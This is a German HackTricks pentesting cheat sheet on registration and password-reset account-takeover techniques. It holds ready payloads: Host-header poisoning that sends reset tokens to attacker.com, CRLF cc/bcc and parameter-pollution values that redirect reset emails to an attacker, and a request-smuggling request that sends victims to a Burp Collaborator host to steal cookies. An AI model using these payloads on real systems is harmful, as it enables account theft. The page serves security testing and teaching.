hacktricks/pentesting-web/registration-vulnerabilities.md
2024-02-10 15:36:32 +00:00

202 lines
10 KiB
Markdown

# Registrierungs- und Übernahmeschwachstellen
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>
## Übernahme der Registrierung
### Duplizierte Registrierung
* Versuchen Sie, einen vorhandenen Benutzernamen zu generieren
* Überprüfen Sie die Variation der E-Mail:
* Großbuchstaben
* \+1@
* Fügen Sie einige Punkte in die E-Mail ein
* Sonderzeichen im E-Mail-Namen (%00, %09, %20)
* Fügen Sie nach der E-Mail schwarze Zeichen hinzu: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### Benutzernamenermittlung
Überprüfen Sie, ob Sie herausfinden können, ob ein Benutzername bereits in der Anwendung registriert wurde.
### Passwortrichtlinie
Bei der Erstellung eines Benutzers überprüfen Sie die Passwortrichtlinie (überprüfen Sie, ob Sie schwache Passwörter verwenden können).\
In diesem Fall können Sie versuchen, Anmeldeinformationen per Brute-Force zu ermitteln.
### SQL-Injection
[**Überprüfen Sie diese Seite**](sql-injection/#insert-statement), um zu erfahren, wie Sie mithilfe von **SQL-Injections** in Registrierungsformularen Konten übernehmen oder Informationen extrahieren können.
### Oauth-Übernahmen
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### SAML-Schwachstellen
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### E-Mail-Änderung
Versuchen Sie nach der Registrierung, die E-Mail zu ändern, und überprüfen Sie, ob diese Änderung korrekt validiert wird oder ob Sie sie in beliebige E-Mails ändern können.
### Weitere Überprüfungen
* Überprüfen Sie, ob Sie **Wegwerf-E-Mails** verwenden können
* **Langes** **Passwort** (>200) führt zu **DoS**
* **Überprüfen Sie die Rate-Limits bei der Kontenerstellung**
* Verwenden Sie username@**burp\_collab**.net und analysieren Sie den **Callback**
## **Übernahme der Passwortrücksetzung**
### Passwortrücksetzungstoken-Leak über Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Fordern Sie einen Passwortrücksetzung für Ihre E-Mail-Adresse an
2. Klicken Sie auf den Link zur Passwortrücksetzung
3. Ändern Sie das Passwort nicht
4. Klicken Sie auf beliebige Websites von Drittanbietern (z. B. Facebook, Twitter)
5. Abfangen Sie die Anfrage im Burp Suite Proxy
6. Überprüfen Sie, ob der Referrer-Header das Passwortrücksetzungstoken preisgibt.
### Passwortrücksetzung-Manipulation <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Fangen Sie die Anfrage zur Passwortrücksetzung in Burp Suite ab
2. Fügen Sie die folgenden Header in Burp Suite hinzu oder bearbeiten Sie sie: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Leiten Sie die Anfrage mit dem geänderten Header weiter\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Suchen Sie nach einer Passwortrücksetzungs-URL basierend auf dem _Host-Header_ wie z. B.: `https://attacker.com/reset-password.php?token=TOKEN`
### Passwortrücksetzung über E-Mail-Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR auf API-Parameter <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Der Angreifer muss sich mit seinem Konto anmelden und zur Funktion **Passwort ändern** gehen.
2. Starten Sie Burp Suite und unterbrechen Sie die Anfrage.
3. Senden Sie es an den Repeater-Tab und bearbeiten Sie die Parameter: Benutzer-ID/E-Mail\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Schwacher Passwort-Reset-Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Der Passwort-Reset-Token sollte jedes Mal zufällig generiert und eindeutig sein.\
Versuchen Sie festzustellen, ob der Token abläuft oder ob er immer gleich ist. In einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden.
* Zeitstempel
* Benutzer-ID
* E-Mail des Benutzers
* Vorname und Nachname
* Geburtsdatum
* Kryptographie
* Nur Zahlen
* Kleine Token-Sequenz (Zeichen zwischen \[A-Z,a-z,0-9])
* Token-Wiederverwendung
* Ablaufdatum des Tokens
### Leckender Passwort-Reset-Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Lösen Sie eine Passwort-Reset-Anfrage über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com
2. Überprüfen Sie die Serverantwort und suchen Sie nach `resetToken`.
3. Verwenden Sie dann den Token in einer URL wie `https://example.com/v3/user/password/reset?resetToken=[DER_RESET_TOKEN]&email=[DIE_MAIL]`
### Passwort-Reset über Kollision von Benutzernamen <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Registrieren Sie sich im System mit einem Benutzernamen, der dem Benutzernamen des Opfers entspricht, jedoch mit Leerzeichen vor und/oder nach dem Benutzernamen. z.B.: `"admin "`
2. Fordern Sie einen Passwort-Reset mit Ihrem bösartigen Benutzernamen an.
3. Verwenden Sie den an Ihre E-Mail gesendeten Token und setzen Sie das Passwort des Opfers zurück.
4. Melden Sie sich mit dem neuen Passwort im Konto des Opfers an.
Die Plattform CTFd war anfällig für diesen Angriff.\
Siehe: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account-Übernahme über Cross-Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Finden Sie eine XSS innerhalb der Anwendung oder einer Subdomain, wenn die Cookies auf die übergeordnete Domäne beschränkt sind: `*.domain.com`
2. Leaken Sie das aktuelle **Sitzungscookie**.
3. Authentifizieren Sie sich als Benutzer mithilfe des Cookies.
### Account-Übernahme über HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Verwenden Sie **smuggler**, um den Typ des HTTP Request Smuggling (CL, TE, CL.TE) zu erkennen\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Erstellen Sie eine Anfrage, bei der `POST / HTTP/1.1` mit den folgenden Daten überschrieben wird:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` mit dem Ziel, die Opfer auf burpcollab umzuleiten und ihre Cookies zu stehlen.\
3\. Die endgültige Anfrage könnte wie folgt aussehen.
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone-Berichte, die diesen Fehler ausnutzen:
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Accountübernahme über CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Erstellen Sie eine Payload für CSRF, z.B. "HTML-Formular mit automatischer Übermittlung für eine Passwortänderung".
2. Senden Sie die Payload.
### Accountübernahme über JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token kann zur Authentifizierung eines Benutzers verwendet werden.
* Bearbeiten Sie das JWT mit einer anderen Benutzer-ID/E-Mail.
* Überprüfen Sie die Schwäche der JWT-Signatur.
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## Referenzen
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
</details>